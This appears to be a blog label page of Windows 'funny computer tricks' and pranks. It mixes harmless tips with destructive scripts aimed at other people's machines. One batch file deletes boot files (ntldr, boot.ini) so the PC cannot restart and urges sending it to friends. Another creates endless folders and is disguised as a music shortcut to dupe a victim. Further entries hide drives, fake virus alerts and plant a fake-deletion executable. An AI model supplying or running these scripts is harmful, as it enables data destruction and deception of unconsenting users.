Showing posts with label Funny Computer Tricks. Show all posts
Showing posts with label Funny Computer Tricks. Show all posts

7 Tricks That Can Improve Your PC Performance

1. Open applications with ease

I want to launch programs in Windows 7 without lifting your hands from the keyboard? You can open any application on your computer by pressing the Windows key and typing the first letters of the name of the application (CHR for Google Chrome, it to iTunes, and so on), then press Enter. You can also press the Windows + 1 to open an application hang on your taskbar, and Windows + 2 to open the second application, and so on.

Six Windows 7 nightmares (and how to fix it)

2. Disk in the Control Panel Windows automatic
I wonder why DVD-Movies automatically start playing when you pop them in your computer? It is controlled by the automatic windows. Go to Control Panel, automatic, and you can tell Windows exactly what you want to do every time you insert a CD or DVD-ROM components, in camera or smart phone, and so on.

3. Disable automatic window management
By default, Windows 7 automatically resizes open windows when you drag it to the edge of the screen. Drag a window on one side of the screen and the “dock” there while resizing to fill half the screen, and drag it to the top of the frame to make this screen enter full, and so on. May be convenient, but they can also be boring. You can disable it by going to Control Panel, Ease of Access, click Make the mouse easier to use and clear to prevent Windows from automatically arranged when moved to the edge of the screen and click OK.

Access Internet Through Paint

If you are having some problem with your Browser, or your browser gets infected of malware, etc.. and you need to access a webpage urgently but you are not able to access your browser than what?

There is an another tip or way you can access internet that is with the help of Paint. To access internet using paint-

1. Open paint by going to start > accessories > Paint or by typing mspaint in run.

2. Once you open paint press F1

3. Now place your mouse curser on the yellow question mark and rigth click it and click "Jump to URL"

Solitare Win Win

Force Solitare to win by a hack. Here’s how: Open sol.exe located in C:\Windows\System32\ using Resource Hacker. Expand String Table > 64 > 1033 in the left pane. Notice a line in the right pane saying 1010, “Force a win”. Use these numbers to enable the Easter Egg. Now expand Menu > 1 > 1033. Create a menu by typing the following just before the last closing brace:
POPUP “&Easter Egg”
{
MENUITEM "&Egg 1", 1008
MENUITEM "&Egg 2", 1009
MENUITEM "&Egg 3", 1010
}

Now, click the Compile Script button. Next, go to File > Save and save it in the original location, i.e., C:\Windows\System32\sol.exe. Also, replace sol.exe in the C:\Windows\System32\dllcache folder.

Now, a new menu Easter Egg appears with Egg 1, Egg 2 and Egg 3 as options. Click Egg 3 to force a win.

Trick to Make over 1,000 folders in few seconds

Here I will teach you a simple prank that will make an unlimited amount of folders in any place you want.

1. Open notepad and type :
@echo off
:top
md %random%
goto top 

@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creates folders with random names.
goto top – return to label :top, infinite loop.


2. Save it as 1000folders.bat
3. After that you will get icon that looks as show below:
People probably are not gonna click on an icon that looks like this picture, so to make it better (funnier and easier to prank people with) make a short-cut to it.
4. Right click on icon and click Create Shortcut.


5. Right click on shortcut and click properties , then click on Change Icon and rename icon.


Tell the person that you found the music they wanted and downloaded it on their computer. That way, they will think its a shortcut to the music and they will click on it. Then, they will think its loading so they won’t exit right away but when they finally realize its not going to load  it will be to late. Its impossible to delete them using cmd you have to find all of them and delete them manually…

A Computer Tricks to Shut Down a Computer Forever

Open notepad and copy/paste this code:
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini


del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Now Save it as a .bat file.
This would shut down the person’s computer. It shuts it off once and deletes the files needed to reboot and restart.

* USe at your own risk

REMEMBER – DO NOT CLICK THIS FILE. YOU WON’T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!
Send it to your friends computer and tell them to open it. Have fun!!

 

Shake Your Computer

Funny Computer Trick
Check out these funny trick.  

  •    Copy and paste the java script code to the address bar of your browser                                                javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i–) {for (j = n; j > 0; j–) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

    2: Press enter and watch your window’s “shaking it”.  You can change the value of i if you wish :-)


Make your Computer Speak whatever you type.



This is an amazing trick to amaze your friends.By using this trick you can make your computer to speak whatever you type.This trick is working on all microsoft operating system and does not require any programming skills.You have to follow just simple steps and your own Text to Voice software will be ready.If you show this software to any of your friends he will be certainly impressed with you .





Ok, the trick is fairly simple and requires only 2 simple steps from your side.Let’s Begin the tutorial to Make Your Computer Speak Whatever You Type
here is a trick to convert your
TEXT to VOICE without any
software.
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­Steps are :
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1) Go to Start > Run
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2) Type : Control speech

Write any Text and then click on "Preview Voice" and it will be converted to voice.

I hope you enjoyed this trick

DISPLAY MESSAGE ON STARTUP

Open Run & type regedit

Go to HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows NT / CurrentVersion / Winlogon.

Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say.

Restart and Enjoy!

Browser Shaking

This is a fun little trick that can create a shaking screen on your web browser (i.e. Internet Explorer, etc..)
The trick is simply a small Java Script that causes your browser window to move to different positions, causing a shake of your entire screen. It's kind of cool to watch and see what Java Script can do! Try it out..
Use this trick at your own risk.
Here's how:
Copy this entire line and paste it onto your address box, then press Enter:


javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

Hide ur drives

How to Hide the drives(c:,d:,e:,a:...etc)
 

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.
 

1.Go to start->run.Type regedit.Now go to:
 

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore

Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. 
So, now when you click on My Computer, no drives will be shown(all gone...). 

To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........lol....

How to scare your friends

Step 1. Open up notepad
Step 2. Type

lol=msgbox("Whatever you want message to say",20,"Whatever you want the window to be titled")

Ex:
lol=msgbox("Warning your computer has been infected by a virus ",20,"Virus Alert")

Step 3. Save the text as Whateveryouwant.vbs


The number 20 represents the type of window style the message will be in. You can experiment with different styles you want.

Displaying a Text Notice before Logon

You can create a funny message or legal warnings for others just before logon to your computer. This is very useful if you want to give a message to new user about the use of computer. Edit the value of registry keys to create a banner message.

Click Start button then type regedit in Run option then press Enter for next.

Here locate the location to:

HKeyLocalMachine>SOFTWARE>Microsoft>Windows>CurrentVersion>Win Logon


Here in right side panel, right click to create a new string value LegalNoticeCaption and give it a value you want to see in the menu bar

Now again right click to create a new string value called LegalNoticeText and change the value you want to see in the dialog box


Now close the registry editor and restart your computer after any changes to go into effect.

How to Delete Friend’s Hard Disk -Fakely

Here is a funny trick which you will find amazing and frighten your friend with this prank.
1)Download Fake delete.zip and unzip the files.
2)Now open the folder and open the file fakedel.exe. You can see that the deleting seems so realistic. But this is just fake and nothing happens to your computer.
3)Now rename this file with xyz.exe and paste this file on your friend’s desktop or Email it to him/her with some interesting message so that he/she will curiously open the file.
To Stop Fakedel.exe go to Taskbar > TaskManager > fakedel.exe > End Process

Funny javascript trick ;)

Copy the below code in web browser address bar and press enter

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

You’ll see that your browser shaking :) (in some browsers it will not work)

The “Keyboard not present” computer trick

ust look in the back of your PC unit, find the mouse and the keyboard and simply switch their places. This way, when a person boots the computer, it will show an error message, telling him that no keyboard is present. But strangely, the wires aren’t ripped out…
(This only works on PS/2 keyboards & mice)

Folder With The Name con

Try to make folder on windows with the name con. You won’t be able to make it.

Notepad Funny Trick

Open your notepad and increase font size to 72 and change the the font to “Windings”.

Type your name in Capital later and look what are you see there.

Word Funny Trick

Open microsoft word and type =Rand(200,99) and press Enter. Enjoy in magic!